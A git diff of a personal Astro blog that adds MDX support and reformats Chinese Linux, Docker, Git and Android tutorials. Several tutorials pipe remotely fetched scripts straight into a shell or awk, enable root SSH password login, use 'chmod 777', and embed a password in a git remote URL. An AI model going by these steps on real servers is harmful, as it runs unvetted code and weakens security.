"node_modules/micromark-extension-mdxjs": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/micromark-extension-mdxjs/-/micromark-extension-mdxjs-3.0.0.tgz", + "integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==", + "license": "MIT", + "dependencies": { + "acorn": "^8.0.0", + "acorn-jsx": "^5.0.0", + "micromark-extension-mdx-expression": "^3.0.0", + "micromark-extension-mdx-jsx": "^3.0.0", + "micromark-extension-mdx-md": "^2.0.0", + "micromark-extension-mdxjs-esm": "^3.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-3.0.0.tgz", + "integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/micromark-factory-destination": { "version": "2.0.1", "resolved": "https://registry.npmmirror.com/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", @@ -5582,6 +6119,33 @@ "micromark-util-types": "^2.0.0" } }, + "node_modules/micromark-factory-mdx-expression": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-2.0.2.tgz", + "integrity": "sha512-5E5I2pFzJyg2CtemqAbcyCktpHXuJbABnsb32wX2U8IQKhhVFBqkcZR5LRm1WVoFqa4kTueZK4abep7wdo9nrw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + } + }, "node_modules/micromark-factory-space": { "version": "2.0.1", "resolved": "https://registry.npmmirror.com/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", @@ -5783,6 +6347,32 @@ ], "license": "MIT" }, + "node_modules/micromark-util-events-to-acorn": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-2.0.2.tgz", + "integrity": "sha512-Fk+xmBrOv9QZnEDguL9OI9/NQQp6Hz4FuQ4YmCb/5V7+9eAh1s6AYSvL20kHkD67YIg7EpE54TiSlcsf3vyZgA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "@types/unist": "^3.0.0", + "devlop": "^1.0.0", + "estree-util-visit": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "vfile-message": "^4.0.0" + } + }, "node_modules/micromark-util-html-tag-name": { "version": "2.0.1", "resolved": "https://registry.npmmirror.com/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", @@ -6317,6 +6907,31 @@ "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", "license": "BlueOak-1.0.0" }, + "node_modules/parse-entities": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/parse-entities/-/parse-entities-4.0.2.tgz", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-entities/node_modules/@types/unist": { + "version": "2.0.11", + "resolved": "https://registry.npmmirror.com/@types/unist/-/unist-2.0.11.tgz", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", + "license": "MIT" + }, "node_modules/parse-latin": { "version": "7.0.0", "resolved": "https://registry.npmmirror.com/parse-latin/-/parse-latin-7.0.0.tgz", @@ -6616,6 +7231,70 @@ "url": "https://paulmillr.com/funding/" } }, + "node_modules/recma-build-jsx": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/recma-build-jsx/-/recma-build-jsx-1.0.0.tgz", + "integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-util-build-jsx": "^3.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/recma-jsx": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/recma-jsx/-/recma-jsx-1.0.0.tgz", + "integrity": "sha512-5vwkv65qWwYxg+Atz95acp8DMu1JDSqdGkA2Of1j6rCreyFUE/gp15fC8MnGEuG1W68UKjM6x6+YTWIh7hZM/Q==", + "license": "MIT", + "dependencies": { + "acorn-jsx": "^5.0.0", + "estree-util-to-js": "^2.0.0", + "recma-parse": "^1.0.0", + "recma-stringify": "^1.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/recma-parse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/recma-parse/-/recma-parse-1.0.0.tgz", + "integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "esast-util-from-js": "^2.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/recma-stringify": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/recma-stringify/-/recma-stringify-1.0.0.tgz", + "integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-util-to-js": "^2.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/regex": { "version": "5.1.1", "resolved": "https://registry.npmmirror.com/regex/-/regex-5.1.1.tgz", @@ -6706,6 +7385,21 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/rehype-recma": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/rehype-recma/-/rehype-recma-1.0.0.tgz", + "integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "hast-util-to-estree": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/rehype-stringify": { "version": "10.0.1", "resolved": "https://registry.npmmirror.com/rehype-stringify/-/rehype-stringify-10.0.1.tgz", @@ -6756,6 +7450,20 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/remark-mdx": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/remark-mdx/-/remark-mdx-3.1.0.tgz", + "integrity": "sha512-Ngl/H3YXyBV9RcRNdlYsZujAmhsxwzxpDzpDEhFBVAGthS4GDgnctpDjgFl/ULx5UEDzqtW1cyBSNKqYYrqLBA==", + "license": "MIT", + "dependencies": { + "mdast-util-mdx": "^3.0.0", + "micromark-extension-mdxjs": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/remark-parse": { "version": "11.0.0", "resolved": "https://registry.npmmirror.com/remark-parse/-/remark-parse-11.0.0.tgz", @@ -7248,6 +7956,15 @@ "url": "https://github.com/sponsors/cyyynthia" } }, + "node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 8" + } + }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", @@ -7407,6 +8124,24 @@ "node": ">=4" } }, + "node_modules/style-to-js": { + "version": "1.1.16", + "resolved": "https://registry.npmmirror.com/style-to-js/-/style-to-js-1.1.16.tgz", + "integrity": "sha512-/Q6ld50hKYPH3d/r6nr117TZkHR0w0kGGIVfpG9N6D8NymRPM9RqCUv4pRpJ62E5DqOYx2AFpbZMyCPnjQCnOw==", + "license": "MIT", + "dependencies": { + "style-to-object": "1.0.8" + } + }, + "node_modules/style-to-object": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/style-to-object/-/style-to-object-1.0.8.tgz", + "integrity": "sha512-xT47I/Eo0rwJmaXC4oilDGDWLohVhR6o/xAQcPQN8q6QBuZVL8qMYL85kLmST5cPjAorwvqIA4qXTRQoYHaL6g==", + "license": "MIT", + "dependencies": { + "inline-style-parser": "0.2.4" + } + }, "node_modules/tailwindcss": { "version": "4.0.9", "resolved": "https://registry.npmmirror.com/tailwindcss/-/tailwindcss-4.0.9.tgz", @@ -7686,6 +8421,19 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/unist-util-position-from-estree": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/unist-util-position-from-estree/-/unist-util-position-from-estree-2.0.0.tgz", + "integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/unist-util-remove-position": { "version": "5.0.0", "resolved": "https://registry.npmmirror.com/unist-util-remove-position/-/unist-util-remove-position-5.0.0.tgz", diff --git a/package.json b/package.json index b6702e1..ec1dd8e 100644 --- a/package.json +++ b/package.json @@ -9,6 +9,7 @@ "astro": "astro" }, "dependencies": { + "@astrojs/mdx": "^4.1.0", "@astrojs/node": "^9.1.2", "@astrojs/react": "^4.2.1", "@astrojs/sitemap": "^3.2.1", diff --git a/src/content.config.ts b/src/content.config.ts index 4d66bb1..60ca117 100644 --- a/src/content.config.ts +++ b/src/content.config.ts @@ -45,7 +45,7 @@ export function getBasename(filePath: string): string { export function getDirPath(filePath: string, basePath = './src/content'): string { const basename = getBasename(filePath); const relativePath = getRelativePath(filePath, basePath); - return relativePath.replace(`${basename}.md`, '').replace(/\/$/, ''); + return relativePath.replace(`${basename}.(md|mdx)`, '').replace(/\/$/, ''); } // 辅助函数:获取特殊文件路径 @@ -154,7 +154,7 @@ async function getContentStructure(): Promise { // 4. 定义你的集合 const articles = defineCollection({ loader: glob({ - pattern: "**/*.md", + pattern: "**/*.{md,mdx}", base: "./src/content" }), schema: z.object({ diff --git a/src/content/Android/Android安装linux.md b/src/content/Android/Android安装linux.md index 1624431..4081611 100644 --- a/src/content/Android/Android安装linux.md +++ b/src/content/Android/Android安装linux.md @@ -5,11 +5,14 @@ tags: [] --- ## 一. 安装 Termux + [官方版本](https://termux.dev/cn/) [ZeroTermux (魔改)](https://github.com/hanxinhao000/ZeroTermux) ## 二. 安装 Linux + 1. 下载容器脚本并使用 + ```bash curl -LO https://gitee.com/mo2/linux/raw/2/2.awk awk -f 2.awk diff --git a/src/content/Android/安装谷歌三件套服务框架.md b/src/content/Android/安装谷歌三件套服务框架.md new file mode 100644 index 0000000..3ffaf87 --- /dev/null +++ b/src/content/Android/安装谷歌三件套服务框架.md @@ -0,0 +1,38 @@ +--- +title: "安装谷歌三件套服务框架" +date: 2023-07-12T23:39:00+08:00 +tags: [] +--- + +## Google服务框架 + +下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/) + +首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +选择noDPI的版本 + +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** + +## Google Play Service + +下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/) + +首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +那么就选择noDPI的版本 + +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** + +## Google Play Store + +下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/) + +首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 +选择noDPI的版本 + +关于ARM版本: +**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。 +也可以直接下载universal版本,也就是兼容v8和v7的版本。** diff --git a/src/content/Docker/Docker安装typecho.md b/src/content/Docker/Docker安装typecho.md index 7c60495..380ceaf 100644 --- a/src/content/Docker/Docker安装typecho.md +++ b/src/content/Docker/Docker安装typecho.md @@ -47,6 +47,7 @@ tags: ["Docker-compose"] echo "date.timezone = PRC"; \ } > /usr/local/etc/php/conf.d/custom.ini ``` + 2. **Nginx 服务器配置** 文件路径:`./nginx/conf/default.conf` @@ -78,6 +79,7 @@ tags: ["Docker-compose"] } } ``` + 3. **Typecho 源代码部署** 创建 `./data` 文件夹,并将 [Typecho](https://github.com/typecho/typecho/releases) 源代码放入此文件夹。 @@ -87,6 +89,7 @@ tags: ["Docker-compose"] ```bash chmod -R 777 data ``` + 4. **Docker Compose 配置** 路径: `./docker-compose.yml` @@ -159,6 +162,7 @@ docker compose up -d ```text 因为docker内部网络可以用过容器名访问 ``` + * 数据库用户名: `root` * 数据库密码: `typecho` * 数据库名: `typecho` @@ -179,6 +183,7 @@ docker compose up -d MYSQL_USER=typecho # 原有 MySQL 用户名 MYSQL_PASSWORD=typecho # 原有 MySQL 用户密码 ``` + 4. 进入mysql容器,将数据库赋权给原用户 ### 排版错误 @@ -187,4 +192,4 @@ docker compose up -d ```php define('__TYPECHO_SECURE__',true); -``` \ No newline at end of file +``` diff --git a/src/content/Docker/Docker部署gitea.md b/src/content/Docker/Docker部署gitea.md index 3b46265..11e0298 100644 --- a/src/content/Docker/Docker部署gitea.md +++ b/src/content/Docker/Docker部署gitea.md @@ -148,4 +148,4 @@ server { proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; } -} \ No newline at end of file +} diff --git a/src/content/Docker/Docker部署思源笔记.md b/src/content/Docker/Docker部署思源笔记.md index e7da812..483f238 100644 --- a/src/content/Docker/Docker部署思源笔记.md +++ b/src/content/Docker/Docker部署思源笔记.md @@ -6,7 +6,7 @@ tags: ["Docker-compose"] ## `docker-compose.yml` 文件配置 -### 替换说明: +### 替换说明 * 将 `/var/www/siyuan/` 替换为你的实际物理路径。 * 将 `Password` 替换为你的访问密码。 @@ -30,7 +30,7 @@ services: ## 反向代理配置 -### 替换说明: +### Nginx配置替换说明 * 将 `your_domain.com` 替换为你自己的域名。 * 将 `path` 替换为你的SSL证书的实际路径。 @@ -77,4 +77,4 @@ server { proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'Upgrade'; # 支持 WebSocket } -} \ No newline at end of file +} diff --git a/src/content/Docker/密码管理器—Vaultwarden(bitwarden).md b/src/content/Docker/密码管理器—Vaultwarden(bitwarden).md index 8ebff90..2b5d1a2 100644 --- a/src/content/Docker/密码管理器—Vaultwarden(bitwarden).md +++ b/src/content/Docker/密码管理器—Vaultwarden(bitwarden).md @@ -36,7 +36,7 @@ services: > > 1. `ssl_certificate` : SSL证书路径 > 2. `ssl_certificate_key` : SSL证书路径 -> 3. `server_name `: 跟你前面配置的domain相同,案例中为`b.lsy22.com` +> 3. `server_name`: 跟你前面配置的domain相同,案例中为`b.lsy22.com` > 4. `proxy_pass` : 运行Vaultwarden的服务器地址和端口,比如本机为127.0.0.1:6666 ```nginx @@ -87,4 +87,4 @@ server { 将翻译好的模板放到`templates`目录下,如果没有创建一个 -模板下载链接:[https://github.com/wcjxixi/vaultwarden-lang-zhcn](https://github.com/wcjxixi/vaultwarden-lang-zhcn) \ No newline at end of file +模板下载链接:[https://github.com/wcjxixi/vaultwarden-lang-zhcn](https://github.com/wcjxixi/vaultwarden-lang-zhcn) diff --git a/src/content/Docker/网盘直链程序—AList.md b/src/content/Docker/网盘直链程序—AList.md index 23d480a..6c78eda 100644 --- a/src/content/Docker/网盘直链程序—AList.md +++ b/src/content/Docker/网盘直链程序—AList.md @@ -87,5 +87,3 @@ server { 3. **备份数据**(可选):运行`cp -r /root/data/docker_data/alist /root/data/docker_data/alist.bak` 4. **拉取最新镜像**:运行`docker pull xhofe/alist:latest` 5. **重新运行安装**:运行`docker run -d --restart=always -v /www/wwwroot/alist:/opt/alist/data -p 7777:5244 --name="alist" xhofe/alist:latest` - ---- \ No newline at end of file diff --git a/src/content/Linux/Centos 7 查看,开放端口.md b/src/content/Linux/Centos 7 查看,开放端口.md index 494ecf7..10e9be0 100644 --- a/src/content/Linux/Centos 7 查看,开放端口.md +++ b/src/content/Linux/Centos 7 查看,开放端口.md @@ -7,27 +7,33 @@ tags: [] ## 开放和关闭端口 ### 开放 8888 端口 + ```bash firewall-cmd --zone=public --add-port=8888/tcp --permanent ``` ### 关闭 8888 端口 + ```bash firewall-cmd --zone=public --remove-port=8888/tcp --permanent ``` ### 配置立即生效 + ```bash firewall-cmd --reload ``` ## 查看防火墙所有开放的端口 + ```bash firewall-cmd --zone=public --list-ports ``` ## 关闭防火墙 + 如果要开放的端口太多,嫌麻烦,可以关闭防火墙,安全性自行评估 + ```bash systemctl stop firewalld.service ``` @@ -35,18 +41,21 @@ systemctl stop firewalld.service ## 查看防火墙状态 ### 方式一 + ```bash firewall-cmd --state ``` ### 方式二 + ```bash systemctl status firewalld.service ``` ## 查看监听的端口 + ```bash netstat -ntlp ``` -> PS: CentOS 7 默认没有 netstat 命令,需要安装 net-tools 工具,yum install -y net-tools \ No newline at end of file +> PS: CentOS 7 默认没有 netstat 命令,需要安装 net-tools 工具,yum install -y net-tools diff --git a/src/content/Linux/Git完整使用指南.md b/src/content/Linux/Git完整使用指南.md index 515bec9..56f75ad 100644 --- a/src/content/Linux/Git完整使用指南.md +++ b/src/content/Linux/Git完整使用指南.md @@ -33,15 +33,15 @@ git init ### 连接代码托管平台 -> 你需要添加一个新的远程仓库并将其命名为`github`或其他你喜欢的名称。**任选其一**: +> 你需要添加一个新的远程仓库并将其命名为`github`或其他你喜欢的名称。**任选其一** -HTTPS URL,命令如下: +HTTPS URL,命令如下 ```bash git remote add github https://<你的 github 用户名>:<你的 github 密码>@github.com/<你的 github 用户名>/<你的仓库名称>.git ``` -SSH URL,命令可能如下: +SSH URL,命令可能如下 ```bash git remote add gitee git@github.com:<你的 github 用户名>/<你的仓库名称>.git @@ -65,7 +65,7 @@ git config --global user.name "Your Name" #### 2. 创建密钥 -在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key: +在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key ```bash ssh-keygen -t rsa -C "youremail@example.com" @@ -78,7 +78,7 @@ ssh-keygen -t rsa -C "youremail@example.com" 登陆GitHub,打开`Account settings`,`SSH Keys`页面,点`Add SSH Key`, 填上任意Title,在Key文本框里粘贴`id_rsa.pub`文件的内容 -#### 4. 验证远程仓库: +#### 4. 验证远程仓库 ```bash git remote -v @@ -86,7 +86,7 @@ git remote -v ## 四、上传本地代码 -### 1. 添加工作目录中的所有更改到暂存区: +### 1. 添加工作目录中的所有更改到暂存区 ```bash git add . @@ -115,31 +115,37 @@ git push github master ```bash git push ``` + * 强制将推送本地分支 ```bash git push -f ``` + * 拉取 ```bash git pull ``` + * 强制将分支的最新内容拉取到本地的分支 ```bash git pull --force ``` + * 将本地分支重置为远程分支的最新状态 ```bash git reset --hard / ``` + * 克隆仓库 ```bash git clone ``` + * 添加所有更改到暂存区 ```bash @@ -151,46 +157,55 @@ git push github master ```bash git reset ``` + * 将文件从缓存区中移除,但物理文件仍然存在 ```bash git rm --cached ``` + * 查看暂存区的内容 ```bash git ls-files ``` + * 提交已暂存的更改 ```bash git commit -m "Commit message" ``` + * 查看分支 ```bash git branch ``` + * 创建并切换到新分支 ```bash git checkout -b ``` + * 删除本地分支 ```bash git branch -d ``` + * 添加远程仓库 ```bash git remote add ``` + * 移除与远程仓库的关联 ```bash git remote remove ``` + * 版本回退 > HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。 @@ -215,7 +230,7 @@ git push github master > 这个警告通常出现在文件的换行符混合使用时,比如在 Windows 系统上使用的 CRLF(\r\n)格式的换行符,而在 Git 中又配置了 > core.autocrlf 为 true 的情况下。 -#### 1. 禁用 core.autocrlf: +#### 1. 禁用 core.autocrlf ```bash git config --global core.autocrlf false @@ -223,15 +238,15 @@ git config --global core.autocrlf false > 这将禁用自动换行符转换,保留文件中原有的换行符。 -#### 2. 设置 core.eol: +#### 2. 设置 core.eol -如果你希望在提交时保持换行符转换,但希望检出时保持原样,你可以尝试设置 core.eol: +如果你希望在提交时保持换行符转换,但希望检出时保持原样,你可以尝试设置 core.eol ```bash git config --global core.eol lf ``` -或者: +或者 ```bash git config --global core.eol crlf @@ -239,7 +254,7 @@ git config --global core.eol crlf 这将设置 Git 使用指定的换行符风格。 -#### 3. 手动修复文件: +#### 3. 手动修复文件 如果只是个别文件出现这个问题,你也可以手动修复,将文件的行尾调整为你希望的格式。 @@ -311,7 +326,7 @@ git commit -m "Your commit message" #### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C` -编辑`~/.profile` 或 `~/.bashrc `文件 +编辑`~/.profile` 或 `~/.bashrc`文件 在文件末尾加上 @@ -352,4 +367,5 @@ cd d:/data/code unset env ``` -3. 再次运行 Git Bash 时,系统将提示您输入密码 \ No newline at end of file + +3. 再次运行 Git Bash 时,系统将提示您输入密码 diff --git a/src/content/Linux/Linux美化终端zsh+ohmyzsh.md b/src/content/Linux/Linux美化终端zsh+ohmyzsh.md index d5757f4..66eb2b2 100644 --- a/src/content/Linux/Linux美化终端zsh+ohmyzsh.md +++ b/src/content/Linux/Linux美化终端zsh+ohmyzsh.md @@ -57,4 +57,5 @@ sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/ins * [extract](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/extract): 使用 `x` 命令解压任何压缩文件 * [pip](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/pip): 为 `python` 包管理器 `pip` 提供补全 * [docker](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker): 为 `docker` 命令添加自动补全支持 -* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持 \ No newline at end of file +* [docker-compose](https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/docker-compose): 为 `docker-compose` 命令添加自动补全支持 + \ No newline at end of file diff --git a/src/content/Linux/SSH使用小技巧.md b/src/content/Linux/SSH使用小技巧.md index 3d3b993..84cd36f 100644 --- a/src/content/Linux/SSH使用小技巧.md +++ b/src/content/Linux/SSH使用小技巧.md @@ -6,23 +6,26 @@ tags: [] ## 更改root密码 -> 将更改为所需的密码 +> 将`password`更改为所需的密码 1. 修改密码 ```bash - echo root: |sudo chpasswd root + echo root:`password` |sudo chpasswd root ``` + 2. 开启root登录 ```bash sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config; ``` + 3. 开启密码登录 ```bash sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config; ``` + 4. 重启ssh服务 ```bash @@ -44,12 +47,14 @@ tags: [] ```bash cp "$HOME/.ssh/id_rsa.pub" "$HOME/.ssh/authorized_keys" ``` + 3. 设置公钥权限 ```bash chmod 600 "$HOME/.ssh/authorized_keys" chmod 700 "$HOME/.ssh" ``` + 4. ssh配置文件 1. 开启密钥登录 @@ -57,11 +62,13 @@ tags: [] ```bash sudo sed -i 's/^#\?PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config ``` + 2. 关闭密码登录 ```bash sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config ``` + 5. 重启sshd服务 ```bash @@ -104,4 +111,4 @@ ssh-add ```bash ssh-copy-id username@hostname -``` \ No newline at end of file +``` diff --git a/src/content/Linux/Ubuntu安装c语言编译器.md b/src/content/Linux/Ubuntu安装c语言编译器.md index c30af47..56daa8d 100644 --- a/src/content/Linux/Ubuntu安装c语言编译器.md +++ b/src/content/Linux/Ubuntu安装c语言编译器.md @@ -13,18 +13,21 @@ apt-get install vim # 注:如果没有在超级用户的操作下需要提权 ``` ### 二、安装 GCC(编译器) + ```bash apt-get install gcc ``` ### 三、安装 build-essential + ```bash apt-get install build-essential ``` ## 使用 -### 1. 创建一个 hello.c 文件,并编辑第一个程序: +### 1. 创建一个 hello.c 文件,并编辑第一个程序 + ```c #include @@ -35,12 +38,14 @@ int main(void) } ``` -### 2. 执行编译命令: +### 2. 执行编译命令 + ```bash gcc -Wall hello.c -o hello ``` -### 3. 执行程序: +### 3. 执行程序 + ```bash ./hello ``` @@ -48,50 +53,65 @@ gcc -Wall hello.c -o hello ## GCC 常用命令 ### 编译源文件并生成可执行文件 + ```bash gcc source.c -o output ``` + 这里 source.c 是你的源文件的名称,output 是你希望生成的可执行文件的名称。 ### 只进行编译,生成目标文件 + ```bash gcc -c source.c -o output.o ``` + 这会生成名为`output.o`的目标文件,而不是可执行文件。 ### 链接多个目标文件生成可执行文件 + ```bash gcc file1.o file2.o -o output ``` + 如果你已经分别编译了多个源文件并生成了相应的目标文件,你可以将它们链接在一起生成可执行文件。 ### 预处理并输出到文件 + ```bash gcc -E source.c -o output.i ``` + 这个命令会执行预处理过程,并将结果输出到 output.i 文件中。 ### 查看编译器的版本信息 + ```bash gcc --version ``` ### 生成调试信息 + ```bash gcc -g source.c -o output ``` + 使用`-g`选项可以生成包含调试信息的可执行文件,方便调试器进行调试。 ### 优化编译 + ```bash gcc -O2 source.c -o output ``` + 使用`-O2`选项进行优化编译,提高程序运行效率。 ### 开启一系列警告信息 + ```bash gcc -Wall source.c -o output ``` + `-Wall`选项涵盖了许多常见的警告,但并不包括所有的警告。 如果你想开启更严格的警告,可以考虑使用`-Wextra`: @@ -99,4 +119,5 @@ gcc -Wall source.c -o output ```bash gcc -Wall -Wextra source.c -o output ``` -这将启用一些额外的警告,帮助你更全面地检查代码。 \ No newline at end of file + +这将启用一些额外的警告,帮助你更全面地检查代码。 diff --git a/src/content/Linux/linux实现定时备份网站到网盘.md b/src/content/Linux/linux实现定时备份网站到网盘.md index a3491ee..8ac0554 100644 --- a/src/content/Linux/linux实现定时备份网站到网盘.md +++ b/src/content/Linux/linux实现定时备份网站到网盘.md @@ -13,16 +13,19 @@ tags: [] ```bash sudo apt-get install python3-venv -y ``` + 2. 创建一个新的虚拟环境: ```bash python3 -m venv "/var/script/venv" ``` + 3. 激活虚拟环境: ```bash source "/var/script/venv/bin/activate" ``` + 4. 安装 